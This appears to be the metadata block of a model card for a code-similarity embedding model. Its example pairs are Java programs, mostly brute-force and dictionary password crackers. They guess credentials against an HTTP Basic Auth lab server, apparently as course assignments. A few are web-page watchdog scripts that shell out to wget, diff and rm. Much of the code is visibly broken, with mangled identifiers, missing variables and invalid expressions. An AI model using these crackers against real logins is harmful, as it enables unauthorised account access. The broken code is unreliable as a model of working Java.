metadata
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- dense
- generated_from_trainer
- dataset_size:34368
- loss:CachedMultipleNegativesRankingLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n String password=\"\";\n\n int num =401;\n\n\n public static void main (String[] args) {\n\n String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\n BruteForce URLcon;\n\n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n \n if (args.length == 0) {\n \t\n \tSystem.err.println (\n \t\t\n \t\t\"Usage : java BruteForce <username>\");\n \treturn;\n \t\n \t}\n String username = args[0];\n \n\n t0=System.currentTimeMillis();\n\n System.out.println (\" \" + new Date());\n \n System.out.println (\"Using BruteForce method attack \"+username+\"'s password.Please waiting.......\");\n\n for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n\n System.out.println (\"Finish \" + new Date());\n \n \treturn;\n\n }\n\n for (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\n System.out.println(\"The password: \"+ passwd);\n\n\n double dt =t1-t0;\n\n\n\n System.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n System.out.println (\"Finish \" + new Date());\n \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"The password: \"+ passwd);\n\n\n \t double dt =t1-t0;\n\n\n\n \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \n System.out.println (\"Finish \" + new Date());\n \n \t return;\n\n }\n\n\n }\n\n}\n}\n System.out.println(\" not find the password\");\n\n}\n\n public BruteForce (String password, String username){\n\n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \n\n try {\n\n String userPassword = username+\":\"+password ;\n\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n catch(MalformedURLException e){\n \t System.out.println(e);\n }catch(IOException e){\n System.out.println(e);\n }\n\n\n }\n}"
sentences:
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n private String password=\"\";\n\n private int num=401;\n\n\n public static void main(String[] args) {\n\n\n Dictionary URLcon;\n\n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n String line =\"\";\n \n if (args.length == 0) {\n \t\n System.err.println (\n \t\t\n \t\t\"Usage : java BruteForce <username>\");\n return;\n \t\n }\n \n String username = args[0];\n \n \n t0=System.currentTimeMillis();\n \n System.out.println (\" \" + new Date());\n System.out.println (\"Using Dictionary method attack \"+username+\"'s password. Please waiting.......\");\n\n try{ BufferedReader in = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds\");\n \n System.out.println (\"Finish \" + new Date());\n \n \treturn;\n\n }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \tSystem.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n }\n\n\n System.out.println(\" not find the password\");\n\n\n}\n\n public Dictionary (String password,String username) {\n\n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \n try {\n\n String userPassword = username+\":\"+password ;\n\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n catch(MalformedURLException e){\n \t System.out.println(e);\n }catch(IOException e){\n System.out.println(e);\n }\n\n\n }\n}"
- "import java.util.*;\nimport java.io.*;\nimport java.*;\n\npublic class Dogs5\n{\n public static void main(String [] args) throws Exception\n { \n executes(\"rm index.*\");\n executes(\"wget http://www.cs.rmit.edu./students\");\n\n while (true)\n {\n String addr= \"wget http://www.cs.rmit.edu./students\";\n executes(addr);\n String hash1 = md5sum(\"index.html\");\n String hash2 = md5sum(\"index.html.1\");\n System.out.println(hash1 +\"|\"+ hash2);\n \n BufferedReader buf = new BufferedReader(new FileReader(\"/home/k//Assign2/ulist1.txt\"));\n\n String line=\" \" ;\n String line1=\" \" ;\n String line2=\" \";\n String line3=\" \";\n String[] cad = new String[10];\n \n executes(\"./.sh\");\n \n int i=0;\n while ((line = buf.readLine()) != null)\n {\n \n line1=\"http://www.cs.rmit.edu./students/images\"+line;\n if (i==1)\n line2=\"http://www.cs.rmit.edu./students/images\"+line;\n if (i==2)\n line3=\"http://www.cs.rmit.edu./students/images\"+line;\n i++;\n }\n System.out.println(line1+\" \"+line2+\" \"+line3); \n\n\n executes(\"wget \"+line1);\n executes(\"wget \"+line2);\n executes(\"wget \"+line3);\n \n String hash3 = md5sum(\"index.html.2\"); \n String hash4 = md5sum(\"index.html.3\"); \n String hash5 = md5sum(\"index.html.4\");\n\n \n\n\nBufferedReader buf2 = new BufferedReader(new FileReader(\"/home/k//Assign2/ulist1.txt\"));\n\n String linee=\" \" ;\n String linee1=\" \" ;\n String linee2=\" \";\n String linee3=\" \";\n\n executes(\"./ip1.sh\");\n\n int j=0;\n while ((linee = buf2.readLine()) != null)\n {\n\n linee1=\"http://www.cs.rmit.edu./students/images\"+linee;\n if (j==1)\n linee2=\"http://www.cs.rmit.edu./students/images\"+linee;\n if (j==2)\n linee3=\"http://www.cs.rmit.edu./students/images\"+linee;\n j++;\n }\n System.out.println(line1+\" \"+line2+\" \"+line3);\n\n\n executes(\"wget \"+linee1);\n executes(\"wget \"+linee2);\n executes(\"wget \"+linee3);\n\n String hash6 = md5sum(\"index.html.5\");\n String hash7 = md5sum(\"index.html.6\");\n String hash8 = md5sum(\"index.html.7\"); \n \n boolean pict=false;\n if (hash3.equals(hash6))\n pict=true;\n\n boolean pict2=false;\n if (hash3.equals(hash6))\n pict2=true;\n \n boolean pict3=false;\n if (hash3.equals(hash6))\n pict3=true;\n\n \n if (hash1.equals(hash2))\n { \n executes(\"./difference.sh\");\n executes(\"./mail.sh\");\n \n \n\n }\n else\n {\n if (pict || pict2 || pict3)\n {\n executes(\".~/Assign2/difference.sh\"); \n executes(\".~/Assign2/mail2.sh\");\n }\n\n executes(\".~/Assign2/difference.sh\");\n executes(\".~/Assign2/mail.sh\");\n \n \n \n executes(\"./reorder.sh\");\n executes(\"rm index.html\");\n executes(\"cp index.html.1 index.html\");\n executes(\"rm index.html.1\");\n executes(\"sleep 5\"); \n } \n }\n }\n\n public static void executes(String comm) throws Exception\n {\n Process p = Runtime.getRuntime().exec(new String[]{\"/usr/local//bash\",\"-c\", comm });\n\n BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream()));\n\n String cad;\n while(( cad = bf.readLine()) != null)\n {\n System.out.println();\n }\n\t p.waitFor();\n }\n\n public static String md5sum(String file) throws Exception\n {\n String cad;\n String hash= \" \"; \n\n Process p = Runtime.getRuntime().exec(new String[]{\"/usr/local//bash\",\n \"-c\", \"md5sum \"+file });\n BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));\n\n while((bf = cad.readLine()) != null)\n {\n StringTokenizer word=new StringTokenizer();\n hash=word.nextToken();\n System.out.println(hash);\n }\n return hash; \n\n }\n\n \n \n}\n\n"
- |+
import java.io.*;
import java.*;
import java.net.*;
public class BruteForce
{
public static void main(String[] args) throws Exception
{
String password = checkPassword();
System.out.println("Congratulations Your password is "+ password );
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection sec = (HttpURLConnection)url.openConnection();
sec.setRequestProperty("Authorization", " " + encode(":"+password));
BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
System.out.println(inputLine);
in.close();
}
private static String checkPassword() throws Exception
{
String Password=" ";
int attempt=0;
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection sec;
String[] cad = {"a","b","c","d","e","f","g","h","i","j","k","l","m",
"n","o","p","q","r","s","t","u","v","w","x","y","z",
"A","B","C","D","E","F","G","H","I","J","K","L","M",
"N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};
for (int i=0; i < cad.length; i++)
{
for (int j=0; j< cad.length;j++)
{
for (int k=0; k<cad.length;k++)
{
attempt++;
String Passwd = new String(cad[i]+cad[j]+cad[k]);
String userPasswd= ":"+Passwd;
System.out.println(attempt+" "+userPasswd);
sec = (HttpURLConnection)url.openConnection();
sec.setRequestProperty("Authorization", " " + encode(userPasswd));
if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
{
Password=Passwd;
return Password;
}
sec.disconnect();
}
}
}
return "Password not found";
}
private static String encode(String userPasswd) throws Exception
{
String ad;
String encodedUserPasswd=" ";
String addr= "~//base64_encode.php "+userPasswd ;
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", addr});
BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ( (cad = resp.readLine()) != null )
{
encodedUserPasswd=cad;
}
return encodedUserPasswd;
}
}
- source_sentence: "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t \tProcess pr= null;\n\t \tString Fmd5,Smd5,temp1;\n\t \tint index;\n \n\t \ttry\n \t{\n\t\t \n\t\t pr = t.exec(\"md5sum csfirst.html\");\n\n InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n BufferedReader bread = new BufferedReader(stre);\n\t\t \n\t\t s = bread.readLine();\n\t\t index = s.indexOf(' ');\n\t\t Fmd5 = s.substring(0,index);\n\t\t System.out.println(Fmd5);\n\t\t \n\t\t pr = null;\n\t\t \n\t\t pr = t.exec(\"wget http://www.cs.rmit.edu./students/\");\n\t\t pr = null;\n\t\t \n\t\t pr = t.exec(\"md5sum index.html\");\n\t\t \n\n\t\t InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n BufferedReader bread1 = new BufferedReader(stre1);\n\t\t \n\t\t temp1 = bread1.readLine();\n\t\t index = temp1.indexOf(' ');\n\t\t Smd5 = temp1.substring(0,index);\n\t\t System.out.println(Smd5);\n\t\t\n\t\t pr = null;\n\t\t\n\t\t if(Fmd5 == Smd5)\n\t\t System.out.println(\" changes Detected\");\n\t\t else\n\t\t {\n\t\t pr = t.exec(\"diff csfirst.html index.html > report.html\");\n\t\t pr = null;\n\t\t \n\t\t try{\n\t\t Thread.sleep(10000);\n\t\t }catch(Exception e){}\n\t\t \n\t\t pr = t.exec(\" Message.txt | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.\");\n\t\t \n\t\t \n\t\t \n\t\t } \n\t\t \n \t }catch(java.io.IOException e){}\n\t}\n}\t\t\n"
sentences:
- "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\t Runtime rt = Runtime.getRuntime();\n\t Process prss= null;\n\t String initialmd5,presentmd5,finalmd5,temp1;\n String mesg1 = new String();\n String subject = new String(\"Report of WatchDog\");\n\n\t int i;\n \n\t try\n {\n\n prss = rt.exec(\"md5sum first.html\");\n\n InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());\n BufferedReader bufread1 = new BufferedReader(instre1);\n\t\t \n sw = bufread1.readLine();\n\t i = finalmd5.indexOf(' ');\n\t initialmd5 = finalmd5.substring(0,i);\n\t System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());\n BufferedReader bufread2 = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n \n if(initialmd5.equals(presentmd5))\n System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\");\n System.out.println(\" is different\"); \n prss = null;\n mesg1 =\"php mail.php\";\n\t\t prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"rm present.*\");\n\n \t }catch(java.io.IOException e){}\n\n }\n}\t\t\n"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\nimport java.net.*; \nimport java.io.*; \nimport java.util.Date; \npublic class Dictionary{\nprivate static String password=\" \"; \n\n \n public static void main(String[] args) {\n String Result=\"\"; \n\t if (args.length<1)\n\t {\n System.out.println(\"Correct Format Filename username e.g<>\"); \n System.exit(1);\t\n\t }\n\t \n\t Dictionary dicton1 = new Dictionary();\n Result=dicton1.Dict(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]); \n\t System.out.println(\"Cracked Password for The User \"+args[0]+\" The Password is..\"+Result); \n \n\n \n \n }\n\n\n\n private String Dict(String urlString,String username) \n { \n int cnt=0;\n FileInputStream stream=null;\n DataInputStream word=null;\n\n\ttry{ \n\t stream = new FileInputStream (\"/usr/share/lib/dict/words\"); \n\n\tword =new DataInputStream(stream);\n\t t0 = System.currentTimeMillis(); \n\t\t while (word.available() !=0) \n\t\t\t{\n\t\t\t\t\t\t\t\t\t\n\t\t\tpassword=word.readLine();\n\t\t\t\t if (password.length()!=3)\n\t\t\t\t {\n\t\t\t\t\tcontinue;\n\t\t\t\t }\n\t\t\t\t System.out.print(\"crackin...:\"); \n\t\t\t System.out.print(\"\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t URL url = new URL (urlString);\n\t\t\t\tString userPassword=username+\":\"+password; \n\t\t\t\t \n\t\t\t\t String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\t\t\t\t\t URLConnection conc = url.openConnection();\n\t\t\t\t\t\t conc.setRequestProperty (\"Authorization\", \" \" + encoding);\t\t\t \n\t\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\t cnt++;\n\t\t\t\t\t if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200 OK\"))\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\tSystem.out.println(\"The Number Of Attempts : \"+cnt); \n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\t\t\t\t\t\t net=t1-t0;\n\t\t\t\t\t\t\tSystem.out.println(\"Total Time in secs...\"+net/1000); \n\t\t\t\t\t\t\treturn password; \n\t\t\t\t\t\t}\n \t\t \t\t\n\t }\n\n\t\t\t\t}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\t e.printStackTrace(); \n\n\t\t\t\t}\n\n \ntry\n{\nword.close();\nstream.close(); \n\t\n}\n \ncatch (IOException e)\n{ \nSystem.out.println(\"Error in closing input file:\\n\" + e.toString()); \n} \n\nreturn \"Password could not found\"; \n } \n \n\n}"
- source_sentence: |
import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
sentences:
- |-
import java.net.*;
import java.io.*;
public class Dictionary {
private String strUserName;
private String strURL;
private String strDictPath;
private int iAttempts;
public Dictionary(String strURL,String strUserName,String strDictPath) {
this.strURL = strURL;
this.strUserName = strUserName;
this.iAttempts = 0 ;
this.strDictPath = strDictPath;
}
public String getPassword(){
URL u;
String result ="";
PassGenDict PG = new PassGenDict(3,strDictPath);
URLConnection uc;
String strPassword = new String();
String strEncode;
try{
while (result.compareTo("HTTP/1.1 200 OK")!=0){
strEncode = PG.getNewPassword();
u = new URL(strURL);
uc = u.openConnection();
uc.setDoInput(true);
uc.setDoOutput(true);
strPassword = strEncode;
strEncode = strUserName + ":" + strEncode;
strEncode = new String(Base64.encode(strEncode.getBytes()));
uc.setRequestProperty("Authorization"," " + strEncode);
result = uc.getHeaderField(0);
uc = null;
u = null;
iAttempts++;
}
}
catch (Exception me) {
System.out.println("MalformedURLException: "+me);
}
return(strPassword);
}
public int getAttempts(){
return (iAttempts);
};
public static void main(String arg[]){
timeStart = 0;
timeEnd = 0;
if (arg.length == 3) {
Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);
System.out.println("Processing ... ");
timeStart = System.currentTimeMillis();
System.out.println("Password = " + BF.getPassword());
timeEnd = System.currentTimeMillis();
System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");
System.out.println("Total Attempts = " + BF.getAttempts());
}
else {
System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");
}
}
}
class PassGenDict {
private char[] password;
private String line;
int iPassLenght;
private BufferedReader inputFile;
public PassGenDict(int lenght, String strDictPath) {
try{
inputFile = new BufferedReader(new FileReader(strDictPath));
}
catch (Exception e){
}
iPassLenght = lenght;
}
public String getNewPassword()
throws PasswordFailureException{
try {
{
line = inputFile.readLine();
}while (line.length() != iPassLenght);
}
catch (Exception e){
throw new PasswordFailureException ();
}
return (line);
}
}
class PasswordFailureException extends RuntimeException {
public PasswordFailureException() {
}
}
- "import java.net.*;\nimport java.io.*;\n\n\npublic class BruteForce extends Authenticator {\n\n \n private String username;\n \n private URL url;\n \n private char [] nextPassword;\n \n private char [] thisPassword;\n\n \n public static void main(String [] args) {\n if(args.length!=2) {\n System.err.println(\"usage: BruteForce <url> <username>\");\n System.exit(1);\n }\n BruteForce bf = null;\n try {\n bf = new BruteForce(args[0], args[1]);\n } catch (MalformedURLException me) {\n me.printStackTrace();\n System.exit(1);\n }\n bf.work();\n System.exit(0);\n }\n\n \n public BruteForce(String url, String username) \n throws MalformedURLException {\n this.url = new URL(url);\n this.username = username;\n this.nextPassword = new char [] {'a'};\n }\n\n \n public void work() {\n Authenticator.setDefault(this);\n HttpURLConnection uc = null;\n try {\n uc = (HttpURLConnection) url.openConnection();\n uc.connect();\n\t while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED\n && nextPassword!=null) {\n try {\n InputStream is = uc.getInputStream();\n uc.connect();\n } catch (ProtocolException pe) {\n uc = (HttpURLConnection) url.openConnection();\n } catch (NullPointerException npe) {\n npe.printStackTrace();\n System.exit(1);\n } \n }\n } catch (java.io.IOException e) {\n e.printStackTrace();\n System.exit(1);\n }\n System.out.println(\"password=\" + new String(thisPassword));\n }\n\n \n public PasswordAuthentication getPasswordAuthentication() {\n createNextPassword();\n return new PasswordAuthentication(username, thisPassword);\n }\n\n \n public void createNextPassword() {\n int i;\n if(thisPassword==null) {\n thisPassword = new char [] {'A', 'A', 'A'};\n nextPassword = new char [] {'A', 'A', 'B'};\n return;\n }\n thisPassword = nextPassword;\n if(nextPassword[2]=='Z') {\n nextPassword[2]='a';\n return;\n } else if(nextPassword[2]!='z') {\n i = (int) nextPassword[2];\n nextPassword[2]=(char) ++i;\n } else {\n nextPassword[2]='A';\n if(nextPassword[1]=='Z') {\n nextPassword[1]='a';\n } else if(nextPassword[1]!='z') {\n i = (int) nextPassword[1];\n nextPassword[1]=(char) ++i;\n } else {\n nextPassword[1]='A';\n if(nextPassword[0]=='Z') {\n nextPassword[0]='a';\n } else if(nextPassword[0]!='z') {\n i = (int) nextPassword[0];\n nextPassword[0]=(char) ++i;\n } else {\n nextPassword = null;\n }\n }\n }\n }\n}\n"
- "\n\nimport java.net.*;\nimport java.io.*;\n\t\n\nclass MyAuthenticator extends Authenticator {\n\n String password;\n\n public MyAuthenticator(String pwdin) {\n password = pwdin;\n }\n \n protected PasswordAuthentication getPasswordAuthentication(){\n\tString pwd = password;\n\treturn new PasswordAuthentication(\"\",pwd.toCharArray());\n }\n}\n"
- source_sentence: |
import java.net.*;
import java.util.*;
public class BruteForce {
public static void main(String[] args) {
new CrackAttempt();
}
}
class CrackAttempt {
public CrackAttempt() {
final int MAX_LENGTH = 3;
boolean auth = false;
Date = new Date();
boolean morePasswords = true;
int passPtr = 0;
StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
char[] password = new char[MAX_LENGTH];
password[0] = validChars.charAt(0);
while (!auth && morePasswords) {
String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
try {
Authenticator.setDefault(new CrackAuth(password));
URL url = new URL(resource);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("HEAD");
if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
System.out.println("cracked with " + new String(password));
auth = true;
}
} catch (Exception e) {
System.out.println(" was exception: " + e.getMessage());
}
int count = passPtr;
while (true) {
if (password[count] == validChars.charAt(validChars.length() - 1)) {
password[count] = validChars.charAt(0);
count--;
} else {
password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
break;
}
if (count < 0) {
if (passPtr < MAX_LENGTH - 1) {
passPtr++;
password[passPtr] = validChars.charAt(0);
} else {
morePasswords = false;
}
break;
}
}
}
if (!auth) {
System.out.println("Unable determine password");
} else {
time = (new Date()).getTime() - start.getTime();
System.out.println("it took " + String.valueOf(time) + " milliseconds crack the password");
}
}
}
class CrackAuth extends Authenticator {
char[] password;
public CrackAuth(char[] password) {
this.password = password;
}
protected PasswordAuthentication getPasswordAuthentication()
{
String user = "";
return new PasswordAuthentication(user, password);
}
}
sentences:
- "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\n\npublic class BruteForce\n{\n\n\tprivate String result =\"\";\n\n\tpublic class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String passwd)\n {\n this.pass = passwd;\n }\n\n\t protected PasswordAuthentication getPasswordAuthentication()\n {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n }\n public String pass;\n }\n\n public BruteForce() {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n System.out.println(d.toString());\n\t\tchar words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',\n\t\t\t\t\t\t\t 'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G',\n\t\t\t\t\t\t\t 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\n\t\tString record = null;\n\n\n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n\t\tchar pass[] = {'x','x','x'};\n\t\tint count=1;\n\t\tString passwd=new String();\n HttpURLConnection connection = null;\n URL u = null;\n\n try\n {\n u = new URL(url);\n\n }\n catch (MalformedURLException e)\n {\n }\n\n for(int a=0;a<words.length;a++)\n {\n for(int b=0;b<words.length;b++)\n {\n for(int c=0;c<words.length;c++)\n {\n pass[0]=words[a];\n pass[1]=words[b];\n pass[2]=words[c];\n passwd=passwd.copyValueOf(pass,0,3);\n System.out.println(count+ \" ) \" + passwd);\n count++;\n try\n {\n\n connection = (HttpURLConnection) u.openConnection();\n Authenticator.setDefault(new customAuthenticator(passwd));\n\n if (connection.getResponseCode()!=401)\n {\n System.out.print(\"The password is : \"+passwd);\n System.out.println();\n java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n System.out.println(d1.toString());\n System.out.println(\"\\ntime taken in seconds:\"+ (d1.getTime() - d.getTime())/1000+\"\\n\");\n\n System.exit(0);\n }\n else\n {\n }\n connection.disconnect();\n }\n catch (IOException e)\n {\n System.out.println(e);\n }\n }\n }\n }\n }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\t\tBruteForce = new BruteForce();\n\t}\n}"
